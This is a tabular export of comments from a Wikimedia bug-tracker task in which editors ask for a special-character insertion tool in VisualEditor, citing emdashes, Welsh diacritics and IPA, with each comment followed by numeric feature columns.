230329,VisualEditor: Provide a character insertion tool,"The other problem is that with VE having no source mode as yet, I can't even resort to HTML entities.",,,1380018347,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5652173913043477,1.0,"The other problem is that with VE having no source mode as yet, I can't even resort to HTML entities."
230326,VisualEditor: Provide a character insertion tool,"Further to comment 18 and comment 19 a big use case of the character insertion toolbar is to insert characters one does not frequently use.

Utilities like an external character map are very inefficient because it disrupts the work flow, requires you to find the character you want, and copy and paste the character you need. It also replaces whatever else you had in the clipboard previously that you may still need.

Dead keys are useful only if you know that they exist, know how to set them up (they are not enabled by default on most US and UK systems at least), and know the combinations required to input the character you want. I have a much better memory for things like that than many people, and while I know ones like é, Ŵ, ß, ° and ö, characters like ř, Đ and ố I don't. As far as I know, characters in other scripts like д, ζ, ب ,ש, are not producible using deadkey combinations.

Input methods are a very heavy weight solution to inputting characters not found natively on one's keyboard. They always require setting up in advance for each script (and some script/language combinations I think) and learning how to produce each desired character. I only use this method for IPA because I did a lot of work with pronunciations at Wiktionary and that required learning that to produce /ˌbʌɡˈzɪlə/ I need to type /%bVg""zIl@/ - hardly something we can expect a casual editor to learn.  

One of the primary goals of VisualEditor is to reduce the barrier to contributing to Wikimedia projects, not having a character insertion tool is rather contradictory to this.",,,1380018097,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,12,,1.25,0.25,0.5,0.25,1.5,3.75,1.75,0.5,0.0,0.25,1.25,0.25,0.0,1.0,0.0,2.75,0.25,6.75,12.5,0.25,2.75,0.0,0.25,0.0,1.0,0.75,0.0,0.25,0.5,0.0,0.0,7.0,3.25,0.5,0.5,1.75,0.0,0.0,0.25,1.5,0.0,1.0,0.25,2.0,0.25,0.25,0.0,0.0,0.5,12.75,0.75,0.75,0.0,0.5,0.0,0.25,0.0,0.0,1.5,0.0,0.75,1.0,0.0,0.25,0.0,0.0,0.5,4.25,2.25,6.5,2.5,2.75,6.5,0.0,0.0,0.0,0.0,4.75,0.25,0.75,0.0,6.25,12.5,4.0,0.0,0.0,0.0,6.25,0.0,0.75,2.0,0.25,2.0,0.25,0.5,0.0,4.113924050632912,0.7436708860759493,"Further to comment 18 and comment 19 a big use case of the character insertion toolbar is to insert characters one does not frequently use.

Utilities like an external character map are very inefficient because it disrupts the work flow, requires you to find the character you want, and copy and paste the character you need. It also replaces whatever else you had in the clipboard previously that you may still need.

Dead keys are useful only if you know that they exist, know how to set them up (they are not enabled by default on most US and UK systems at least), and know the combinations required to input the character you want. I have a much better memory for things like that than many people, and while I know ones like é, Ŵ, ß, ° and ö, characters like ř, Đ and ố I don't. As far as I know, characters in other scripts like д, ζ, ب ,ש, are not producible using deadkey combinations.

Input methods are a very heavy weight solution to inputting characters not found natively on one's keyboard. They always require setting up in advance for each script (and some script/language combinations I think) and learning how to produce each desired character. I only use this method for IPA because I did a lot of work with pronunciations at Wiktionary and that required learning that to produce /ˌbʌɡˈzɪlə/ I need to type /%bVg""zIl@/ - hardly something we can expect a casual editor to learn.  

One of the primary goals of VisualEditor is to reduce the barrier to contributing to Wikimedia projects, not having a character insertion tool is rather contradictory to this."
230323,VisualEditor: Provide a character insertion tool,"I need to point out the irony of developing an editing interface with the good faith but technically challenged user in mind, and then expecting them to know how to use their browser/operating system to insert an emdash (a character not present on the standard English keyboard, but used over a million times on English Wikipedia). Given the target group for this extension, this isn't a low-priority enhancement, it is core functionality. In fact, the existing editorial base uses the edit tools almost exclusively over their browser/operating system, and I suspect many of them (including me) have no idea how to do use the latter.",,,1379917317,,PHID-USER-yif6nz5uhka5cnltixpc,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,12,,1.0,0.0,0.0,0.0,1.5,4.5,1.0,0.0,0.0,0.0,1.5,1.0,0.0,1.0,0.0,2.0,0.5,5.0,9.5,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,7.5,1.5,4.5,1.5,2.5,10.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,5.5,9.5,1.5,0.0,0.0,0.0,5.5,0.0,1.5,3.0,2.0,3.0,0.0,0.0,0.0,4.230798771121352,0.8401177675371223,"I need to point out the irony of developing an editing interface with the good faith but technically challenged user in mind, and then expecting them to know how to use their browser/operating system to insert an emdash (a character not present on the standard English keyboard, but used over a million times on English Wikipedia). Given the target group for this extension, this isn't a low-priority enhancement, it is core functionality. In fact, the existing editorial base uses the edit tools almost exclusively over their browser/operating system, and I suspect many of them (including me) have no idea how to do use the latter."
230320,VisualEditor: Provide a character insertion tool,"Yep. When you need to add an accented character, you need to add an accented character. This is a quite definitely missing facility.",,,1379690527,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,11.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,4.074074074074074,0.6666666666666666,"Yep. When you need to add an accented character, you need to add an accented character. This is a quite definitely missing facility."
230316,VisualEditor: Provide a character insertion tool,"Another request today for [[MediaWiki:Edittools]] or an equivalent to be available in VE.

I second comment 8 and comment 10 - this is one of the features of the source editor that editors really miss.",,,1379686473,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,18.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,5.0,11.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,2.0,11.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,3.8181818181818183,0.8636363636363636,"Another request today for [[MediaWiki:Edittools]] or an equivalent to be available in VE.

I second comment 8 and comment 10 - this is one of the features of the source editor that editors really miss."
230311,VisualEditor: Provide a character insertion tool,"Sorry Lloffiwr, my bad: I thought that Welshp WP had somehow made that set of characters already available with VisualEditor as well.",,,1377688397,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,20.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.48,0.96,"Sorry Lloffiwr, my bad: I thought that Welshp WP had somehow made that set of characters already available with VisualEditor as well."
230305,VisualEditor: Provide a character insertion tool,"**eleriygarregwen** wrote:

""Lloffiwr, can you link to this workaround?"" - Sorry I don't know what you are asking me to do.

With regard to using our own edit tools, that would be very good. It is very simple to just click on one of a number of characters sitting on a toolbar right next to the editor. You don't have to remember key combinations, there is no need to look up a help page and learn how to insert characters. The character toolbar's purpose in the normal editor is obvious and it is ready to use for all users (you don't have to enable a special keyboard as you would with the ULS).

By the way, in the ""save"" dialog of the VisualEditor on CYWP, we see an image of our short character toolbar, but have no way of actually using it! I, an experienced editor, was very confused by this; the new editors for whom this tool is designed are likely to be completely floored by it.",,,1377641765,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,8,,0.3333333333333333,0.0,1.6666666666666667,1.0,1.0,5.666666666666667,2.3333333333333335,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,4.333333333333333,11.666666666666666,0.0,2.6666666666666665,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,4.666666666666667,1.3333333333333333,1.6666666666666667,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.0,10.666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,5.666666666666667,4.0,4.666666666666667,0.3333333333333333,1.0,8.0,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,11.666666666666666,2.0,0.3333333333333333,1.6666666666666667,0.0,5.666666666666667,0.0,1.3333333333333333,2.3333333333333335,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,3.5714076675446296,0.7586333040678959,"**eleriygarregwen** wrote:

""Lloffiwr, can you link to this workaround?"" - Sorry I don't know what you are asking me to do.

With regard to using our own edit tools, that would be very good. It is very simple to just click on one of a number of characters sitting on a toolbar right next to the editor. You don't have to remember key combinations, there is no need to look up a help page and learn how to insert characters. The character toolbar's purpose in the normal editor is obvious and it is ready to use for all users (you don't have to enable a special keyboard as you would with the ULS).

By the way, in the ""save"" dialog of the VisualEditor on CYWP, we see an image of our short character toolbar, but have no way of actually using it! I, an experienced editor, was very confused by this; the new editors for whom this tool is designed are likely to be completely floored by it."
230300,VisualEditor: Provide a character insertion tool,"Lloffiwr, can you link to this workaround? I tried enabling VE on your wiki but that was not enough, should I also enable some gadget maybe? 
James, until this or other IME issues are not solved, isn't there a way to let these wikis use their very own edit tools, i.e. http://pms.wikipedia.org/wiki/MediaWiki:Edittools ?",,,1377258190,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,7,,2.0,0.0,2.0,2.0,5.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,3.0,0.0,10.0,6.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,11.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,6.0,6.0,5.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.5806451612903225,0.8387096774193549,"Lloffiwr, can you link to this workaround? I tried enabling VE on your wiki but that was not enough, should I also enable some gadget maybe? 
James, until this or other IME issues are not solved, isn't there a way to let these wikis use their very own edit tools, i.e. URL ?"
230293,VisualEditor: Provide a character insertion tool,"**eleriygarregwen** wrote:

To make life easy on the Welsh Wikipedia, we have added a short character set consisting only of the most commonly used special characters immediately below the edit window. We have also added a more comprehensive set of special characters further down below the edit window. I think it would be useful to add the full character set to VisualEditor as standard, but also to allow each Wikipedia to add its own special character set via an optional message.",,,1375136279,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,1.0,10.0,13.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,1.0,3.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,9.0,1.0,8.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,1.0,1.0,1.0,0.0,4.4021739130434785,0.6630434782608695,"**eleriygarregwen** wrote:

To make life easy on the Welsh Wikipedia, we have added a short character set consisting only of the most commonly used special characters immediately below the edit window. We have also added a more comprehensive set of special characters further down below the edit window. I think it would be useful to add the full character set to VisualEditor as standard, but also to allow each Wikipedia to add its own special character set via an optional message."
230286,VisualEditor: Provide a character insertion tool,This is among the most important missing features for dewp.,,,1375019373,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.545454545454546,1.0,This is among the most important missing features for dewp.
230278,VisualEditor: Provide a character insertion tool,"**eleriygarregwen** wrote:

Another example of a language whose users make heavy use of the character insertion tool underneath the old edit window is Welsh (cy). Some of us work with keyboards which have been specially adapted to easily type the diacritics needed (including ŵ and ŷ) but not all hardware devices have this software loaded. This means that the VisualEditor is very difficult to use for some users, making training sessions for new users (some with, some without the diacritics software) difficult to conduct using VisualEditor.",,,1374356830,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,2,,4.5,0.0,1.0,0.5,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,10.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,5.0,1.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,13.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,4.0,2.0,4.5,1.0,2.0,12.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,10.0,4.5,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.5,3.0,0.0,0.0,0.0,4.467383107088989,0.8054298642533937,"**eleriygarregwen** wrote:

Another example of a language whose users make heavy use of the character insertion tool underneath the old edit window is Welsh (cy). Some of us work with keyboards which have been specially adapted to easily type the diacritics needed (including ŵ and ŷ) but not all hardware devices have this software loaded. This means that the VisualEditor is very difficult to use for some users, making training sessions for new users (some with, some without the diacritics software) difficult to conduct using VisualEditor."
230270,VisualEditor: Provide a character insertion tool,"Agreed with comment 8. The special characters insertion tool in WikiEditor is very convenient when editing articles about topics that involve other scripts or diacritics. Not providing such a tool in VisualEditor would seriously reduce VE's usefulness, and would certainly provide a compelling reason to use the source editor much more often than otherwise necessary.",,,1374264181,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,10.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,2.0,0.0,0.0,5.216666666666667,0.9,"Agreed with comment 8. The special characters insertion tool in WikiEditor is very convenient when editing articles about topics that involve other scripts or diacritics. Not providing such a tool in VisualEditor would seriously reduce VE's usefulness, and would certainly provide a compelling reason to use the source editor much more often than otherwise necessary."
230264,VisualEditor: Provide a character insertion tool,"BTW, if we ever do get another symbol picker, please make it share it's table with WikiEditor, limiting the places where we need to maintain these chars. (We already have 3 [WikiEditor extension, MediaWiki:Edittools, MediaWiki:Edittools.js])",,,1374264087,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,16.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,10.0,6.0,14.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.14,0.82,"BTW, if we ever do get another symbol picker, please make it share it's table with WikiEditor, limiting the places where we need to maintain these chars. (We already have 3 [WikiEditor extension, MediaWiki:Edittools, MediaWiki:Edittools.js])"
230258,VisualEditor: Provide a character insertion tool,"""Character insertion is, in general, the responsibility of your browser/operating system""

Yes and no. Yes, your computer is capable of inserting loads of characters. No, it is not always reachable.

At least, I know of no operating system + browser combination, where I can put my cursor in a text area and bring up a symbol picker from the menu or a toolbar. (Unlike spellchecking).",,,1374263950,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,1.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,1.0,5.0,7.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,7.0,12.0,0.0,0.0,2.0,0.0,7.0,0.0,1.0,4.0,0.0,2.0,0.0,1.0,0.0,3.8333333333333335,0.6666666666666666,"""Character insertion is, in general, the responsibility of your browser/operating system""

Yes and no. Yes, your computer is capable of inserting loads of characters. No, it is not always reachable.

At least, I know of no operating system + browser combination, where I can put my cursor in a text area and bring up a symbol picker from the menu or a toolbar. (Unlike spellchecking)."
230252,VisualEditor: Provide a character insertion tool,*** Bug 51120 has been marked as a duplicate of this bug. ***,,,1374263430,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51120 has been marked as a duplicate of this bug. ***
230249,VisualEditor: Provide a character insertion tool,"http://en.wikipedia.org/wiki/File:VE_modified_ui_suggestion.png shows one user's suggestion.  

See http://en.wikipedia.org/w/index.php?oldid=564286664#Thoughts_about_UI_improvements for the discussion.",,,1373843965,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.8571428571428571,"URL shows one user's suggestion.  

See URL for the discussion."
230245,VisualEditor: Provide a character insertion tool,"There was a similar request on Portuguese Wikipedia[1]. A user wanted to use the kind of tool we see in the screenshot [2].


[1] https://pt.wikipedia.org/wiki/WP:Editor_Visual/Coment%C3%A1rios?oldid=36280987&uselang=en#Adi.C3.A7.C3.A3o_de_caracteres_especial_no_Visual_editor
[2] http://postimg.org/image/mwbyn96gn/",,,1372773901,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,3.0789473684210527,0.7631578947368421,"There was a similar request on Portuguese Wikipedia[1]. A user wanted to use the kind of tool we see in the screenshot [2].


[1] URL
[2] URL"
230241,VisualEditor: Provide a character insertion tool,Nonbreaking spaces would be helpful as well.,,,1372736869,,PHID-USER-jdkjcyuluyy456zxyufo,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,Nonbreaking spaces would be helpful as well.
230235,VisualEditor: Provide a character insertion tool,We've had another comment re: emdashes here:http://en.wikipedia.org/w/index.php?title=Wikipedia_talk:VisualEditor&curid=37920680&diff=562488469&oldid=562482174,,,1372735991,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.9090909090909091,We've had another comment re: emdashes here:URL
230230,VisualEditor: Provide a character insertion tool,"Well, I'm sat on my windows machine here and can't see any way to type an emdash, for example :/",,,1372356235,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-dawylrxmkjvn5rn6pdtf,task_subcomment,,True,c1,2,False,,,-1,,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.2083333333333335,0.9583333333333334,"Well, I'm sat on my windows machine here and can't see any way to type an emdash, for example :/"
230223,VisualEditor: Provide a character insertion tool,"(In reply to comment #0)
> The VisualEditor doesn't currently have a mechanism for inserting special
> characters - while a lot of them are unnecessary (~~~~ for example), things
> like en and emdashes can be quite important for content.

Character insertion is, in general, the responsibility of your browser/operating system (same as spell check, IME and other general editing tools). Where your local OS fails, we have a 'standard' of providing general tools to let you get OS-level tools (most notably, ULS), rather than one-off ""insert a bunch of random characters"" micro-tools.

